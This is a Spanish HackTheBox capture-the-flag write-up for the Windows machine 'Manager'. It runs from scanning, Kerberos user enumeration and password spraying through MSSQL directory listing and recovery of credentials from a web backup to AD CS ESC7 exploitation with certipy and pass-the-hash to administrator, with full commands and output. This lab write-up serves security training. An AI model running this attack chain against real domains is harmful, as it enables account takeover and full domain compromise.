Manager es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Manager 10.129.143.233 a /etc/hosts como manager.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.143.233 Nmap scan report for 10.129.143.233 Host is up, received echo-reply ttl 127 (0.059s latency). Scanned at 2023-10-23 11:09:16 GMT for 26s Not shown: 65513 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 1433/tcp open ms-sql-s syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49677/tcp open unknown syn-ack ttl 127 49678/tcp open unknown syn-ack ttl 127 49679/tcp open unknown syn-ack ttl 127 49714/tcp open unknown syn-ack ttl 127 60531/tcp open unknown syn-ack ttl 127 61165/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Mon Oct 23 11:09:42 2023 -- 1 IP address (1 host up) scanned in 26.63 seconds |
Una vez detectados los puertos abiertos lanzamos un escaneo más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
$ nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49677,49678,49679,49714,60531,61165 -oA enumeration/nmap2 -Pn 10.129.143.233 Nmap scan report for 10.129.143.233 Host is up (0.065s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Manager |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-23 18:10:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 |_ssl-date: 2023-10-23T18:11:36+00:00; +7h00m02s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-10-23T18:11:37+00:00; +7h00m02s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-info: | 10.129.143.233:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ms-sql-ntlm-info: | 10.129.143.233:1433: | Target_Name: MANAGER | NetBIOS_Domain_Name: MANAGER | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: manager.htb | DNS_Computer_Name: dc01.manager.htb | DNS_Tree_Name: manager.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2023-10-23T10:17:26 |_Not valid after: 2053-10-23T10:17:26 |_ssl-date: 2023-10-23T18:11:36+00:00; +7h00m02s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-10-23T18:11:36+00:00; +7h00m02s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-10-23T18:11:37+00:00; +7h00m02s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49678/tcp open msrpc Microsoft Windows RPC 49679/tcp open msrpc Microsoft Windows RPC 49714/tcp open msrpc Microsoft Windows RPC 60531/tcp open msrpc Microsoft Windows RPC 61165/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s | smb2-time: | date: 2023-10-23T18:10:59 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Oct 23 11:11:35 2023 -- 1 IP address (1 host up) scanned in 98.63 seconds |
Enumeración
Accedemos al portal web y vemos la siguiente ventana

No vemos gran cosa en el mismo así que, y viendo que está abierto el puerto 88, vamos a realizar una enumeración de usuarios con kerbrute
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ kerbrute userenum -d manager.htb --dc manager.htb /data/tools/SecLists/Usernames/xato-net-10-million-usernames.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: v1.0.3 (9dad6e1) - 10/23/23 - Ronnie Flathers @ropnop 2023/10/23 11:17:24 > Using KDC(s): 2023/10/23 11:17:24 > manager.htb:88 2023/10/23 11:17:25 > [+] VALID USERNAME: ryan@manager.htb 2023/10/23 11:17:27 > [+] VALID USERNAME: guest@manager.htb 2023/10/23 11:17:29 > [+] VALID USERNAME: cheng@manager.htb 2023/10/23 11:17:30 > [+] VALID USERNAME: raven@manager.htb 2023/10/23 11:17:36 > [+] VALID USERNAME: administrator@manager.htb 2023/10/23 11:17:49 > [+] VALID USERNAME: Ryan@manager.htb 2023/10/23 11:17:51 > [+] VALID USERNAME: Raven@manager.htb 2023/10/23 11:17:57 > [+] VALID USERNAME: operator@manager.htb 2023/10/23 11:18:51 > [+] VALID USERNAME: Guest@manager.htb 2023/10/23 11:18:52 > [+] VALID USERNAME: Administrator@manager.htb |
Viendo el listado de usuarios, utilizaremos el mismo con crackmapexec para realizar un ataque de password spraying utilizando el nombre de usuario como password
|
1 2 3 4 |
$ crackmapexec smb manager.htb -u files/users.txt -p files/users.txt ... SMB manager.htb 445 DC01 [+] manager.htb\operator:operator ... |
Y vemos que el usuario operator utiliza su username como pasword.
Después de varias comprobaciones, accedemos al mssql a través del puerto 1433 con las credenciales obtenidas
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ impacket-mssqlclient -p 1433 -windows-auth -dc-ip dc01.manager.htb "manager.htb/operator:operator@manager.htb" Impacket v0.11.0 - Copyright 2023 Fortra [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (MANAGER\Operator guest@master)> |
Hacemos algunas pruebas a ver que posibilidades tenemos y vemos que podemos utilizar xp_dirtree para enumerar ficheros y directorios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
SQL (MANAGER\Operator guest@master)> EXEC MASTER.sys.xp_dirtree 'C:\',1,1 subdirectory depth file ------------------------- ----- ---- $Recycle.Bin 1 0 Documents and Settings 1 0 inetpub 1 0 PerfLogs 1 0 Program Files 1 0 Program Files (x86) 1 0 ProgramData 1 0 Recovery 1 0 SQL2019 1 0 System Volume Information 1 0 Users 1 0 Windows 1 0 |
Revisamos el portal web y encontramos dentro un backup en un fichero .zip
|
1 2 3 4 5 6 7 8 9 10 11 12 |
SQL (MANAGER\Operator guest@master)> EXEC MASTER.sys.xp_dirtree 'C:\inetpub\wwwroot',1,1 subdirectory depth file ------------------------------- ----- ---- about.html 1 1 contact.html 1 1 css 1 0 images 1 0 index.html 1 1 js 1 0 service.html 1 1 web.config 1 1 website-backup-27-07-23-old.zip 1 1 |
Descargamos el mismo con un simple wget y revisamos su contenido antes de extraerlo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
$ unzip -v website-backup-27-07-23-old.zip Archive: website-backup-27-07-23-old.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 698 Defl:N 351 50% 2023-07-27 05:35 040446cd .old-conf.xml 5386 Defl:N 1656 69% 2023-07-27 05:32 55059e43 about.html 5317 Defl:N 1525 71% 2023-07-27 05:32 71cd1c4e contact.html 192348 Defl:N 26152 86% 2019-02-13 11:17 ccc143dd css/bootstrap.css 1389 Defl:N 411 70% 2019-11-21 09:17 fc1abf9f css/responsive.css 11838 Defl:N 2130 82% 2020-04-29 04:43 624db06a css/style.css 9988 Defl:N 2611 74% 2020-04-29 04:43 b48351ab css/style.css.map 10931 Defl:N 2367 78% 2020-04-29 04:43 997e00e1 css/style.scss 311015 Defl:N 311025 0% 2019-11-21 05:11 cd03630e images/about-img.png 106689 Defl:N 84584 21% 2019-11-21 08:40 ba8e34ef images/body_bg.jpg 1156 Stored 1156 0% 2019-11-21 07:23 3e9cea33 images/call.png 1518 Stored 1518 0% 2019-11-21 07:24 516efdc0 images/call-o.png 29975 Defl:N 29765 1% 2019-11-21 06:27 6c7e7bdd images/client.jpg 31118 Defl:N 29863 4% 2019-11-21 06:03 e4b80819 images/contact-img.jpg 698 Stored 698 0% 2019-11-21 07:23 f699588a images/envelope.png 890 Stored 890 0% 2019-11-21 07:24 c9ac7739 images/envelope-o.png 430342 Defl:N 429160 0% 2019-11-21 04:08 8befff4c images/hero-bg.jpg 601 Stored 601 0% 2019-11-21 07:23 8b1b53cb images/location.png 777 Stored 777 0% 2019-11-21 07:24 f76e115b images/location-o.png 2160 Stored 2160 0% 2019-11-21 04:13 defe33f8 images/logo.png 9825 Defl:N 4932 50% 2019-11-08 09:32 0bab6ff2 images/menu.png 177 Stored 177 0% 2019-11-20 03:58 18bbeb16 images/next.png 265 Stored 265 0% 2019-11-20 03:59 0f696aa0 images/next-white.png 45140 Defl:N 39339 13% 2019-11-20 06:43 0d896227 images/offer-img.jpg 183 Defl:N 182 1% 2019-11-20 03:58 76176c2a images/prev.png 260 Stored 260 0% 2019-11-20 03:59 3890199e images/prev-white.png 447 Stored 447 0% 2019-11-20 08:44 6cd6a0e6 images/quote.png 914 Stored 914 0% 2019-11-21 05:30 8d480a04 images/s-1.png 742 Stored 742 0% 2019-11-21 05:30 2c620d3b images/s-2.png 1373 Stored 1373 0% 2019-11-21 05:30 455f3cbe images/s-3.png 1388 Stored 1388 0% 2019-11-21 05:30 c76890c8 images/s-4.png 517 Stored 517 0% 2019-11-21 05:00 5bff1025 images/search-icon.png 18203 Defl:N 2976 84% 2023-07-27 05:32 ad4bca32 index.html 131863 Defl:N 25888 80% 2020-04-29 09:00 a7a98819 js/bootstrap.js 88145 Defl:N 30787 65% 2019-08-01 07:03 0e916f78 js/jquery-3.4.1.min.js 7900 Defl:N 1791 77% 2023-07-27 05:32 644d64b9 service.html -------- ------- --- ------- 1462176 1041378 29% 36 files |
Existe un fichero oculto con configuración antigua del portal, así que revisamos el mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ cat .old-conf.xml <?xml version="1.0" encoding="UTF-8"?> <ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <server> <host>dc01.manager.htb</host> <open-port enabled="true">389</open-port> <secure-port enabled="false">0</secure-port> <search-base>dc=manager,dc=htb</search-base> <server-type>microsoft</server-type> <access-user> <user>raven@manager.htb</user> <password>R4v3nBe5tD3veloP3r!123</password> </access-user> <uid-attribute>cn</uid-attribute> </server> <search type="full"> <dir-list> <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir> </dir-list> </search> </ldap-conf> |
Encontramos unas credenciales así que revisamos las mismas y entramos por winrm
|
1 2 3 4 5 6 7 8 9 10 11 |
$ evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Raven\Documents> whoami manager\raven |
Obteniendo la flag de user
Ya estamos dentro así que vamos por la primera flag
|
1 2 3 |
*Evil-WinRM* PS C:\Users\Raven\Documents> cat c:\users\raven\desktop\user.txt e0bxxxxxxxxxxxxxxxxxxxxxxxa102 *Evil-WinRM* PS C:\Users\Raven\Documents> |
Escalado de privilegios
Revisamos los permisos del usuario en el sistema
|
1 2 3 4 5 6 7 8 9 10 |
*Evil-WinRM* PS C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled |
Y vemos que dispone del permiso SeMachineAccountPrivilege, el cual permite añadir servidores al dominio, aunque nos da error, por lo que seguimos.
Revisamos si el sistema disponde de plantillas de certificados vulnerables que nos ayuden en el escalado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ certipy find -vulnerable -stdout -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.143.233 Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 33 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 11 enabled certificate templates [*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA [*] Got CA configuration for 'manager-DC01-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : manager-DC01-CA DNS Name : dc01.manager.htb Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB Certificate Validity Start : 2023-07-27 10:21:05+00:00 Certificate Validity End : 2122-07-27 10:31:04+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : MANAGER.HTB\Administrators Access Rights Enroll : MANAGER.HTB\Operator MANAGER.HTB\Authenticated Users MANAGER.HTB\Raven ManageCa : MANAGER.HTB\Administrators MANAGER.HTB\Domain Admins MANAGER.HTB\Enterprise Admins MANAGER.HTB\Raven ManageCertificates : MANAGER.HTB\Administrators MANAGER.HTB\Domain Admins MANAGER.HTB\Enterprise Admins [!] Vulnerabilities ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions Certificate Templates : [!] Could not find any certificate templates |
No dispone de plantillas como tal, pero vemos que puede gestionar la ca y que puede abrir tickets de issues. Además vemos que escupe una vulnerabilidad, ESC7, así que vamos a google y encontramos un post en hacktricks que explica como podemos explotar este fallo.
Así que siguiendo el post, en primer lugar, añadiremos como oficial al usuario
|
1 2 3 4 |
$ certipy ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.143.233 Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'Raven' on 'manager-DC01-CA' |
Habilitaremos la plantilla por defecto de la subca
|
1 2 3 4 |
$ certipy ca -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -dc-ip 10.129.143.233 -enable-template 'SubCA' Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'manager-DC01-CA' |
Solicitaremos un ticket como admin, dará error, pero es normal
|
1 2 3 4 5 6 7 8 9 |
$ certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -dc-ip 10.129.143.233 -template SubCA -upn administrator@manager.htb Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate. [*] Request ID is 16 Would you like to save the private key? (y/N) y [*] Saved private key to 16.key [-] Failed to request certificate |
Generamos el ticket con el issue, utilizando el id de la petición anterior
|
1 2 3 4 |
$ certipy ca -ca 'manager-DC01-CA' -issue-request 16 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.143.233 Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate |
Y recuperaremos el certificado del usuario admin
|
1 2 3 4 5 6 7 8 9 |
$ certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -dc-ip 10.129.143.233 -retrieve 16 Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Rerieving certificate with ID 16 [*] Successfully retrieved certificate [*] Got certificate with UPN 'administrator@manager.htb' [*] Certificate has no object SID [*] Loaded private key from '16.key' [*] Saved certificate and private key to 'administrator.pfx' |
Y el último paso será autenticarnos con el certificado para obtener el hash del usuario admin
|
1 2 3 4 5 6 7 8 9 10 |
$ sudo rdate -n 10.129.143.233 && certipy auth -pfx administrator.pfx -dc-ip 10.129.143.233 Mon Oct 23 19:29:18 GMT 2023 Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Using principal: administrator@manager.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae50xxxxxxxxxxxxxxxxxxxx24ef |
Obteniendo la flag de root
Con el hash del usuario administrator, conectamos por winrm y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ evil-winrm -i manager.htb -u administrator -H ae5xxxxxxxxxxxxxxxxxxxxxxxef Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami manager\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents> cat c:\users\administrator\desktop\root.txt f014xxxxxxxxxxxxxxxxxxxxxxxx7063 *Evil-WinRM* PS C:\Users\Administrator\Documents> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










